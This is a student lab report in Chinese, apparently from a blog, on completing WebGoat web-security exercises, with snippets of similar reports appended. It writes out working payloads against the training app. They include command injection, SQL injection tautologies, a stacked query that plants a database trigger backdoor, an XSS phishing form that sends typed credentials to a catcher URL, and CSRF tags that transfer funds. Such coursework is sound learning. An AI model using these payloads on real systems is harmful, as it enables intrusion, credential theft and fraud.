2018-2019-2 20165204《网络对抗技术》 Exp9 Web安全基础

2018-2019-2 20165204《网络对抗技术》 Exp9 Web安全基础

实践内容

  • SQL注入攻击

    • 命令注入(Command Injection)
    • 数字型SQL注入(Numeric SQL Injection)
    • 日志欺骗(Log Spoofing)
    • 字符串型注入(String SQL Injection)
    • LAB: SQL Injection
    • 数据库后门(Database Backdoors)
  • XSS攻击
    • Phishing with XSS
    • Stored XSS Attacks
    • Reflected XSS Attacks
  • CSRF攻击
    • Cross Site Request Forgery
    • CSRF Prompt By-Pass

实践过程

WebGoat安装

WebGoat是OWASP组织研制出的用于进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。

先把jar包下载到虚拟机中,在包的目录下使用指令java -jar webgoat-container-7.0.1-war-exec.jar进行WebGoat的安装。安装成功如下:

之后在浏览器输入localhost:8080/WebGoat可进入WebGoat界面,使用默认用户名密码即可登录。

SQL注入攻击

1.命令注入(Command Injection)
  • 可以查看到相关端口的信息

选择Command Injection选项卡。

右击页面选择网页源代码,添加一句"& netstat -an & ipconfig"

点击view查看结果,可以查看到相关端口的信息:

未注入则会返回Returncode 0

数字型SQL注入(Numeric SQL Injection)

选择Numeric SQL Injection选项卡。

查看网页源代码。对源代码value="101"进行修改,在(城市编号101)后面添加or 1=1

修改完成后点击Go,即可查看到天气状况:

日志欺骗(Log Spoofing)
  • 可以显示admin账户成功登陆。

在Log Spoofing选项卡的User Name一栏中输入webgoat%0d%0aLogin Succeeded for username: admin,其中%0d和%0a为回车和换行符。

点击login,显示出了结果,下方提示语句多了webgoat Login Succeed的字样。

字符串型注入(String SQL Injection)
  • 可以基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。

选择String SQL Injection选项卡,输入查询用户名Smith‘ or 1=1--
,因为‘提前闭合了",1=1为永真式,再使用--注释掉后面的内容,所以成功查询了数据库内的内容,select数据库中的内容。

LAB: SQL Injection
  • 可以绕过认证

如果在密码框直接输入‘ or 1=1 --会被限制输入长度

故在网页源代码中将长度限制修改。

再使用永真式‘ or 1=1 --即可登录成功

数据库后门(Database Backdoors)

输入用户ID:101可以查看到用户的信息。

接着输入101; update employee set salary=10000可以更改数据库中的数据。

设置触发器
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘ WHERE userid = NEW.userid
成功创建后门

XSS攻击

Phishing with XSS
  • 实现钓鱼工具或向某些官方页面中增加内容。

在页面的搜索框中输入

<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>

会发现页面上多了一个表单:

我们再加入一段传递参数的代码,组合之后如下:

<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>

在搜索框中输入该代码后,点击登录后用户名和密码会在弹窗中反馈给我们。

Stored XSS Attacks
  • 创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容

在Message中输入<script>alert("20165204 attack succeed!");</script>,提交后可以看到刚刚创建的帖子。点击20165204可以显示攻击成功弹窗。

Reflected XSS Attacks
  • 恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

Enter your three digit access code:中输入<script>alert("I am ironman");</script>

点击Purchase,成功显示警告框,内容为我们script脚本指定的内容。

输入实验一的脚本输入登录信息点击登录发现也可以成功,会返回我们一个登录信息.

CSRF攻击

Cross Site Request Forgery

查看页面右下方Parameters中的src和menu值,我的分别为309和900。

我们在Message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=309&menu=900&transferFunds=5000" width="1" height="1" />以图片的的形式将URL放进Message框,这时的URL对用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交,即转走的受害人的金额

输入任意Title,提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

CSRF Prompt By-Pass

查看页面右下方的Parameters中的src和menu值,我的分别为331和900,并输入任意的Title,message框中输入代码.

<iframe src="attack?Screen=331&menu=900&transferFunds=5000"> </iframe> <iframe> src="attack?Screen=331&menu=900&transferFunds=CONFIRM"> </iframe>

点击submit,生成以title命名的链接,点击链接攻击成功

实验结论

基础问题回答

1.SQL注入攻击原理,如何防御

SQL通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作。

具体防御时可以可以在输入框内限制特殊字符,限制输入长度来达到目的。或者对数据库权限进行限制。

2.XSS攻击的原理,如何防御

XSS:跨站脚本攻击,是一种网站应用程序的安全漏洞攻击。攻击者通过往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。

防御方法也是限制特殊字符、还有对表单内容进行过滤等。

3、CSRF攻击原理,如何防御

全程为跨站域请求伪造,攻击者借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。算是XSS攻击中的一种。

防御方法:

  1. 伪造的请求一般是从第三方网站发起的,所以第一个防御方法就是判断 referer 头,如果不是来自本网站的请求,就判定为CSRF攻击。
  2. 使用验证码。

实验总结与体会

本次实验环境类似于之前使用的实验楼,在虚拟环境中实现一个又一个题目。现在也算理解为什么那么多字符不可以使用。如果是自己编的网站可能随随便便就被黑穿了。

原文地址:https://www.cnblogs.com/jph596299009/p/10926108.html

时间: 2024-10-10 09:14:32

2018-2019-2 20165204《网络对抗技术》 Exp9 Web安全基础的相关文章

2018~2019-10 20165107 网络对抗技术 Exp9 Web安全基础

20165107 网络对抗技术 Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,包括(SQL,XSS,CSRF) Webgoat实践下相关实验. 基础问题问答 1.SQL注入攻击原理,如何防御 SQL注入攻击原理:是指通过构建特殊的输入作为参数传入Web应用程序,输入执行SQL语句进而执行攻击者所要的操作.如在用户名.密码登输入框中输入一些',--,#等特殊字符,实现引号闭合.注释部分SQL语句,利用永真式实现登录.显示信息等目的. 如何防御:

20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践

20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统.SQL 语句用于取回和更新数据库中的数据.SQL注入是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术.通过构建特殊的输入作为参数传入web应用程序,通过执行SQL语句进执行攻击者所要的操作,其主要原因是程序没有细致的过滤用户输入的数据,致使非法数据侵入系统. SQL注入

#20155232《网络对抗》Exp9 Web安全基础

20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击.sql注入.访问控制.隐藏字段.Cookie等: OWASP(Open Web Application Security Project)是一个非营利的组织,它的目的是帮助个人和企业来发现和使用可信赖的软件

20155308《网络对抗》Exp9 Web安全基础实践

20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞.WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS.线程安全.SQL注入等,我们本次的实验就是在WebGoat平台上进行. 1.WebGoat分为简单版和开发板,简单版是个Java的Jar包,

20155208徐子涵《网络对抗》Exp9 Web安全基础

20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目的我最后一次进行这个紧张刺激的活动了. WebGoat Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击.sql注入.访问控制.隐藏字段.Cookie等: 首先我们在kali里面下载Webgoat,这是一个jar包,因为在虚

20155323刘威良《网络对抗》Exp9 Web安全基础

20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoat是由OWASP负责维护的一个漏洞百出的J2EE Web应用程序,这些漏洞并非程序中的bug,而是故意设计用来进行Web应用程序安全训练的.这个应用程序提供了一个逼真的模拟实战的教学环境,为用户完成课程提供了有关的线索. 我们在终端下输入命令java -jar webgoat-container-7.0.1-

20145317彭垚《网络对抗》Exp9 Web安全基础实践

20145317彭垚<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉得主要还是应该从代码上入手: 采用预编译语句集PreparedStatement,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可.它的原理就是sql注入只对sql语句的准备(编译)过程有破坏作用,而Prep

20145311王亦徐 《网络对抗技术》 Web安全基础实践

2014531王亦徐 <网络对抗技术> Web安全基础实践 实验内容 利用WebGoat平台尝试了一些XSS.CSRF.SQL注入攻击 基础问题回答 1.SQL注入攻击原理,如何防御原理: SQL注入是指攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息.简单地认为是将sql语句作为输入交给表单或者通过域名等将sql交给后台,从而欺骗服务器执行sql语句 防范: 过滤字符串,对一些数据库敏感

20145236《网络对抗》Exp9 web安全基础实践

20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句. 对用户的输入进行校验,可以通过正则表达式,或限制长

20155324《网络对抗技术》web安全基础实践

20155324<网络对抗技术>web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 实验问答 SQL注入攻击原理,如何防御 ①SQL注入攻击是攻击者在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,把SQL语句当做用户名等输入正常网页中以获取数据库信息的攻击,最终达到欺骗服务器执行恶意的SQL命令 ②对输入的数据进行过滤,在数据库中对密码进行加密 XSS攻击的原理,如何防御 ①通过对网页注入可执行代码,成功地被浏览器执行,以达到攻击的目的